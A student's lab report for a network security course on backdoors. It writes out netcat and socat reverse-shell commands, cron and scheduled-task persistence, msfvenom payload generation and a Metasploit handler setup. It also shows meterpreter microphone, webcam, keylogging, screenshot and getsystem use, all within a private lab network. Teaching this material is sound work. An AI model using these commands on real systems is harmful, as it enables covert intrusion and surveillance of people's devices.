Exp2-后门原理与实践--20181232冶廷瑞
一、实验名称
后门原理与实践。
二、实验目的与要求
-
掌握后门的概念,知道常见的后门种类,深入理解后门的运作原理。
-
掌握几种常见的后门工具,学会利用后门工具进行一些简单操作。
-
增强信息安全意识,认识到后门的危害性,提高对后门的防范意识。
三、实验原理
3.1 后门的概念
后门是指绕过安全控制而获取对程序或系统访问权的方法,通过它可以绕过正常的认证途径获取对系统的访问。
对于攻击方,要使用后门入侵一台目标主机或服务器,首先得有一个拥有后门功能的攻击程序,这类程序有很多,包括 netcat系列、meterpreter、intersect和Windows Update等;然后要想方设法把后门程序放到目标系统中,可以通过U盘直接拷贝、钓鱼网站、攻击并绑定到正版软件中、发送邮件和暴力攻击等手段,把后门放进目标系统中;接下来要想让后门起作用,就要先把后门运行起来,对此可以设置开机自启动、定时启动任务、关联启动等方式,这些都可以让后门程序在目标系统中运行起来,这样可以在目标主机中执行后门权限中的所有操作。为了让后门可持续性使用,需要免于被杀毒软件清除掉(恶意代码免杀技术),还要保证连接的稳定性以免被防火墙拦截(隧道技术、加密连接、反弹式连接)。
3.2 后门程序
3.2.1 nc
又名netcat、ncat,是一个底层工具,进行基本的TCP、UDP数据收发,小巧精致,面世已久,常与其他工具结合使用,起到后门的作用。Linux系统和Mac系统(苹果电脑使用的)往往自带nc,Windows系统则需要自行下载,如果之前没有下载过的话。下载地址还是本课程在码云上的资料站: https://gitee.com/wildlinux/NetSec/attach_files ,从中可以找到ncat.rar,直接点击下载然后解压即可使用。
下面是关于nc工具的一些使用介绍。
计划是在Windows主机和kali虚拟机之间进行ncat的使用练习,首先分别探知一下两台机器的IP地址。
在Windows机器中,在命令行输入ipconfig
查询。
上图所示即Windows机器的IP地址:192.168.43.106。
在kali中,可以在命令行输入ip add
来查询IP地址。
上图红框所示部分即为我kali的IP地址:192.168.177.128。
关于ncat工具的使用,有一篇文章进行了较为深入的讲解,参见https://www.oschina.net/translate/linux-netcat-command?cmp&p=1。
首先在Windows中找到ncat工具的安装路径。
通常我们进入Windows的命令行,默认的路径是当前登录该系统的用户文件夹,那么我一开始进入命令行,就是进入了该用户文件夹。我的ncat工具存放在桌面上,所以就通过cd Desktop\ncat
命令进入桌面上的ncat文件夹,然后执行命令ncat.exe -l -p 1232
,在Windows上建立一台ncat服务器,-l表示监听,-p用于指定端口,指定的是1232这个端口,监听前要确定该端口未被占用。也可以不用进入ncat文件夹,但在执行命令时要加上ncat.exe的完整路径。相较之下还是先进入ncat文件夹比较合适。
在Win上开启监听后,在kali命令行中输入nc 192.168.43.106 1232 -e /bin/sh
,这里填写的IP地址是Windows的。此时kali的角色就相当于客户端,向192.168.43.106(Windows主机的IP地址)的1232端口发起了连接请求,后面的参数表示当它连接成功时执行/bin/bash,也就是调用命令行。这是一种反向连接,反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,Windows调用kali的命令行,即服务器使用的是由客户端提供的服务。
上图是在kali中发出连接申请后的情形。
上图是连接建立后,在Windows上调用kali命令行的情形,我依次输入了4条指令,可以看到输出都是符合预期的。
结束连接的话,在任意一方都可以结束,在kali一端的话,在命令行中按下ctrl+c,即可以断开连接,如下图所示:
如上图所示,断开连接后,双方的命令行都回归了初始的输入状态。
以此为例,如果能偷偷建立起这样一条连接的话,那么服务器端就可以肆无忌惮地入侵客户端的系统,还可以想办法提权以获取系统最高权限进而为所欲为。
在kali中获取Windows的命令行。
这一步和上一步的操作是类似的,区别只是把Windows和kali的角色互换了,在这里是把kali当作一个服务器,把Windows当作一个客户端,同样是建立起一个反向连接,服务器kali获取客户端Windows的服务。
首先在kali中输入nc -l -p 1232
,建立一台服务器用于监听1232端口。监听后的情形如下图所示,暂时不会有更多提示了。
在Windows中输入ncat.exe -e cmd.exe 192.168.177.128 1232
,连接Windows的1232端口,同时示意在连接建立后开启cmd.exe,这正是Windows的命令行。
上图是在Windows中发出连接请求后的情形。
如上图所示,在Windows发出连接请求后,kali这边输入命令行后原本空荡荡的命令行也出现了Windows命令行的提示符,并且路径也正是和Windows命令行的当前路径是一样的,都是在ncat文件夹下。我们可以在这里进行一些测试,比如dir
命令,结果如下。
这样Windows主机桌面ncat文件夹里面的文件和目录就都显示出来了。dir
原本不是kali中的命令,不会在kali中得到执行,但一旦我们调用了Windows的shell,就可以用Windows的cmd命令了。再测试一个命令:ipconfig
。
上图红框所示部分即为ipconfig
查询到的IP地址,从中可以看出,虽然是在kali中执行的查询IP地址的命令,但是由于查询环境是Windows的命令行,所以查到的IP地址还是Windows主机的IP地址:192.168.43.106,而不是kali的。
如上图所示,在kali中输入exit
,就退出了正在调用的Windows命令行,连接断开,Windows和kali双方的命令行都恢复了正常的待输入状态。
为Windows和kali建立实时通信连接。
在Windows命令行输入ncat.exe -l 1232
,启动ncat服务器监听1232端口。同时在kali命令行输入nc 192.168.43.106 1232
,这里填的是Windows的IP地址及其监听的端口号,以此连接到Windows主机的1232端口。
在连接建立过后,双方就可以在各自的命令行进行对话了。如上图所示,kali在上面,Windows在kali下面,一方发出来的信息,都可以被另一方及时接收到。
从kali向Windows发送文件
先是在Windows上侦听指定端口,比如1232,将收到的数据存储在一个指定的文件中,命令是ncat -l -p 1232 >1232.txt
。然后在kali中将文件发送到Windows上,地址是Windows的ncat服务器侦听端口,命令是:nc 192.168.43.106 1232 < 1232.txt
。
上图是kali发送文件的示意图,可以看出文件内容、文件名等信息。待传送的文件名是什么,那么传文件命令中的文件名参数就得是什么。
连接建立成功,kali可以收到Windows发来的文件。
3.2.2 Meterpreter
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,meterpreter的常用命令、脚本及使用方式包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。本实验用这个东西只是一种比较肤浅的使用,简单输入命令的那种,没有复杂的设计过程。详细介绍可见https://xz.aliyun.com/t/2536,这里不作过多摘抄,后面有实验内容会涉及。
四、实验内容
(一)使用netcat获取主机操作Shell,cron启动
前面在介绍nc工具时进行过简单的获取主机操作Shell,这里会完成该操作的进阶版本,即定时自动连接,这样就不用手动连接了,也就更像一个后门该有的样子了。
首先在kali中输入crontab -e
,然后选择第三个编辑器进入编辑,在“Choose 1-3[1]:”
后输入3,选过之后下次输入就默认自动进入第三个编辑器。编辑界面如图23所示,之后就可以添加定时任务。
进入编辑界面后,按下a键,此时可以开始编辑,此时在最下面一行添加这样内容:5 * * * * /bin/netcat 192.168.43.106 1232 -e /bin/sh
。星号代表运行时间,分别是 :分、时、日、月、每周七天中的某天。星号代表任意值,都是星号的话也就是说,任意年,任意月,任意时,任意分,任意日,都执行后接的命令。时间格式如下:
如上图所示,在编辑界面的最后一行添加如上信息,表示在每小时的5分钟都会连接到IP地址为192.168.43.106的主机的1232端口,让他(Windows)调用自己(kali)的命令行,这正是一个典型的反弹连接。这条命令能够成功执行的前提是,Windows主机已经建立了一个侦听自己4303端口的ncat服务器。毕竟连接是双向的,一方发出了申请,另一方连门都不开的话,这样肯定建立不了连接。
编辑完成后,按下Esc,紧接着直接输入:wq
,然后回车,就可以保存退出了。
(二)使用socat获取主机操作Shell, 任务计划启动
在Windows主机上按下win+r
,输入compmgmt.msc
唤出计算机管理界面,在这里创建一个新的定时任务。
上图就是本地计算机管理界面,选择创建任务。
上图就是本地计算机管理界面,选择创建任务。
选择触发器,新建一个,选择开始任务为:工作站锁定时
选择操作,新建,在程序或脚本处选择本机socat.exe的下载位置。在添加参数一栏填写tcp-listen:1232 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1232,同时把cmd.exe的stderr重定向到stdout上。
此时任务创建完成,可以看到它处于准备就绪状态。右击选择运行。
在Linux中利用socat连接被控主机(Windows),获取shell
在Kali中输入指令socat - tcp:192.168.43.106:1232
,即可发现已经成功获得了一个cmd命令行窗口。输入Windows下命令行的相关指令即可执行
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
在kali中运行命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.106 LPORT=1232 -f exe > 20181232_backdoor.exe
,IP地址填kali的,该命令执行成功后,会生成一个后门可执行程序:20181232_backdoor.exe,文件名是自拟的,文件后缀是前面参数f设定好的。文件成功生成的截图如下:
使用nc将此后门程序传给Windows主机
Windows主机在ncat文件夹下执行ncat.exe -lv 1232 > 20181232_backdoor.exe
,接收文件。-lv参数可以看到当前的连接状态。
在kali机中执行nc 192.168.177.128 1232 < 20181232_backdoor.exe
,发送文件。注意:此处的ip地址为Windows主机的ip。发送成功,连接状态如下图所示:
上图所示即可以找到Windows主机从kali那里刚刚接收到的后门文件。我在接收文件的时候,发现无论是Windows还是kali端,命令行都是处于刚刚输入完命令的样子,没有新的提示,也不知道文件传完了没有。我就在Windows端的ncat文件夹里隔段时间刷新一下看20181232_backdoor.exe文件的大小,因为在kali中已经获悉了该文件的具体大小,那么只要在Windows中看到这个文件的大小已经够了,那就可以用ctrl+c中断连接了。
下面在kali中输入msfconsole
,进入MSF控制台。
-
输入
use exploit/multi/handler
进入handler -
输入
set payload windows/meterpreter/reverse_tcp
设置连接(playload) -
输入
set LHOST 192.168.177.128
设置ip地址(Linux地址) -
输入
set LPORT 1232
设置端口号 -
输入
show options
再次查看设置是否正确监听
说明:
- LHOST需要和上一步生成20181232_backdoor.exe的一致,本例中即192.168.177.128;
- LPORT也需要和上一步生成20181232_backdoor.exe的一致,即1232;
- payload也要一致,即windows/meterpreter/reverse_tcp。
此时就可以在kali端操作Windows端了,比如,在这里输入dir
命令,查看此时Windows端命令行所在的目录下都有哪些目录和文件。
如上图所示,这对于一个指定目录下的全部内容来说相当于是被彻查了户口, 包括权限、大小、类型、最后修改时间还有文件名。
(四) 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权.
以下都是在kali上针对Windows端的后门操作。
1.获取音频。
输入record_mic
,获取Windows主机所处的物理环境下的一段声音。获取完成的音频会被存储在一个指定的路径,我们找到这个路径,果然发现了刚刚录的音频。它还有好多厉害的参数,参见https://blog.csdn.net/ban47491/article/details/101082397.
2. 获取摄像头。
输入webcam_snap
,调用Windows端的摄像头拍个照然后存储在一个指定的路径。拍完之后照片会直接显示出来,还可以找到这个路径,把照片拖到Windows端的桌面上,在Windows上照样可以查看。
3. 获取击键记录。
keyscan_start
作用是打开键盘记录,keyscan_stop
是结束键盘记录,keyscan_dump
是导出键盘记录。
上图红线强调的部分即为从打开键盘记录后到导出键盘记录之间我所敲打过的按键都有哪些。
4. 获取截屏。
输入screenshot
,获取Windows端的实时屏幕截图,同时也有截图的存储路径。
5. 提权
提权通过后门入侵到目标系统,攻击者往往会想方设法提高自己入侵身份的权限,提到最高权限最好,那样可以在被入侵的系统中执行任意操作。在我的实验中,MSF已经获得了权限,不需要提权。如下图所示,输入getuid
,出现当前用户信息;输入getsystem
,就会出现成功获取系统权限的提示,后面还跟了一个获取的途径。
五、实验总结与体会
(一)基础问题回答
1.列举你能想到的一个后门进入到你系统中的可能方式?
通过一封邮件,当你打开邮件,会自动激活一个链接,利用漏洞不经用户同意就转入后台自动下载,这样一个后门程序便可以在你的电脑中实时监测。
2.列举你知道的后门如何启动起来(win及linux)的方式?
定时任务启动,在Windows的任务计划程序库添加新的定时任务,在kali的crontab编辑添加新的定时任务。
接触启动,绑定在一个程序或者一个链接中,当你点击时自动启动。
3.Meterpreter有哪些给你映像深刻的功能?
截取音频、屏幕截图、拍照和击键记录,这些都是实验做过的东西,自然印象深刻。
拍照和击键记录是我印象最深刻的功能。在击键记录的实验中我输入了我的KALI账户的密码,立刻就显示在了命令行中,使我非常震惊。拍照也是让我非常吃惊,刚输入完指令,自动摄像头打开,照片就出现在了kali中,这些在现实生活中经常用于窃取他人的个人隐私信息,非常的不安全。
4.如何发现自己的系统有没有被安装后门?
使用杀毒软件实时监控自己的系统,在实验中,当后门启动时,联想电脑管家就会提醒我有一个后门程序,会将其自动清除。我们也可以在进程管理中找到正在运行的后门程序。
(二)实验感想和体会
本次实验难度不大,总体完成下来大体都比较顺利,因为怕影响到自己的电脑系统所以我提前安装了一个win7的虚拟机,做起实验也不用有太多顾虑。
主要有到的问题有:1.没有关闭Linux防火墙导致Linux主机积极拒绝,下载ufw再用命令关闭即可。2.nact无法直接运行,需要在其完整文件路径下使用。3.使用 webcam_snap 指令用摄像头进行拍照时无权限,先给win7虚拟机打开摄像头权限可权限才行。
在这次实验中,我学会了利用后门程序对主机进行注入攻击,通过使用netcat、socat、meterpreter等,对后门的实现原理有了初步的了解,我觉得让我印象最深的是用ncat.exe攻击程序在win系统或者linux系统中留下后门,并且还实现了对靶机屏幕、麦克风、摄像头、文件等等权限的获取,不仅很有趣味性,还让我提升了对系统安全问题的重视程度。